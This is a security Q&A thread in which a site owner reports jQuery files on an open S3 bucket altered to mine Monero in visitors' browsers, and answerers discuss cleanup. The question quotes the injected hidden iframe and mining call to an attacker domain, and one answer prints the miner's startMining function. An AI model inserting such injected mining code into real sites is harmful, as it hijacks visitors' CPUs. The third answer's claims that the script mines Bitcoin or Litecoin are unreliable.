0

I noticed that recently our website has been performing poorly and often using 100% CPU usage on users machines. After looking into this I have noticed that all of the jquery files on our CDN were edited 6 days ago and are now mining Monero client-side when people view our website.

The following iframe is being loaded on our page:

<iframe src="https://www.jqr-cdn.download/lot.html" style="width: 0px; height: 1px;">
<html>
    <head></head>
    <body>
        <script src="jquery-3.3.1.js"></script>
        <script>
            server = "wss://www.jqr-cdn.download:8190";
            startMining("minexmr.com","winner winner chicken dinner");
        </script>
    </body>
</html>

I think this is down to our S3 being publically writable (I will need to look into this)

My questions are:

Has this just been a CPU leech, or does anything else nefarious happen through this method of attack (data harvesting etc)

Will closing our S3 and overwriting the files with genuine copies solve the problem, if so will is solve it permanently?

What is the significance of the "winner winner chicken dinner" parameter, is this a username, just a taunt or something else?

Improve this question
5
  • Please post code as in-line using the code blocks formatting markdown, please refrain from posting code as an image in future. If you could edit the code in-line that'd be great.
    – user173641
    Commented Jun 18, 2018 at 15:29
  • 2
    Apologies, please see edit
    – Aphire
    Commented Jun 18, 2018 at 15:35
  • If one was able to inject javascript arbitrary code through your S3, then that one can do anything users can on your website (including retrieving their credentials on the login page, auto-clicking the "delete my account" button, etc)
    – Xenos
    Commented Jun 18, 2018 at 15:42
  • You can look at the javascript yourself, it's the jquery file at the root of the URL you have posted. But the "winner winner" is a login, and the minexmr.com is a pool. I haven't looked at the JS beyond that, but in any attack scenario you have to look for more intrusion than you initially find.
    – Steve Sether
    Commented Jun 18, 2018 at 15:50
  • I think the other thing you should be aware of is... how long have people been able to modify your S3 code? Even if this attack is rather "loud", who's to say there wasn't another one in the past that's more subtle, but more dangerous?
    – Steve Sether
    Commented Jun 18, 2018 at 15:52

3 Answers 3

Reset to default
3

First of all: your server has been compromised. The attacker have the means of changing the file on the website, copying any file. He very probably have access to any databases too - if the site have database access, the attacker can find the credentials and access it too.

Usually those kinds of attacks go for the least work and largest payout: drop a crypto mining javascript file and go away. This kind of scripts will use the CPU of the visitors to mine cryptocurrencies, the vast majority being Monero. Monero is a privacy focused coin: it's absurdly hard to find the owner of a Monero wallet, even the FBI have trouble doing so. But other coins are appearing too.

How to clean up?

First step: clean-up your Amazon account. Assume the attacker have access to it, and all credentials on it. This is critical, should be done immediately, before anything else.

Second: restore your backups to clean the site. Look at any user-uploaded file (if your site have this functionality), look at the access logs to detect anything suspicious.

Third: Verify the database, paying special attention to tables related to access control and user authentication. See if any stored procedure or trigger has been created, and clean up it too.

Depending on your site content (like personal user data, medical or financial records, etc), category and jurisdiction, you have to alert your users about the breach.

Improve this answer
4

The Java-Script https://www.jqr-cdn.download/jquery-3.3.1.js is loaded. If you format it, it looks like this:

https://pastebin.com/D9087NvS

Then the function startMining is called.

function startMining(e, r, m, n, y) {
    m = void 0 === m ? "" : m;
    n = void 0 === n ? -1 : n;
    y = void 0 === y ? "" : y;
    wasmSupported && (stopMining(), connected = 0, handshake = {
        identifier: "handshake",
        pool: e,
        login: r,
        password: m,
        userid: y,
        version: 5
    }, startBroadcast(function() {
        addWorkers(n);
        reconnector()
    }))
}

I couldn't see any indication in the script, that your data is accessed, but you should recheck the whole script.

Keep in mind, that the script could be changed, so you could never be sure, the current script on the server is the script executed on your system.

You have to check how the attacker placed the jquery files on your system. If the files are writable for everyone, this might be the issue and overriding with a backup and adjusting the rights should help. Don't forget to change the passwords, as the attacker could have extracted them.

Improve this answer
2

Starting with your Last question:

The Phrase: "winner winner chicken dinner" Stands for a CPU miner for Litecoin and Bitcoin (mostly Bitcoin). Which means:

This JQuery miner uses Websockets Protocol to connect to the Master and uses the minexmr.com Service to mine Litecoin and/or Bitcoin with the Slaves (everyone, who opens your website)

Most of the modern Browsers have a feature to avoid unwanted mining threw website or code on a website. As for example opera 50.

To your second question:

Yes, if not someone made the changes explicitly you've been hacked. Consider checking all the Data on that server and also change the Password to a secure (complex) one or even better 2FA or MFA with a complex password.

and now to the First one:

Yes, normally it's only a CPU leech for mining some Crypto currency but as long you don't have access to the source data of this script/script's no one will be able to say if this is/was the only reason.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .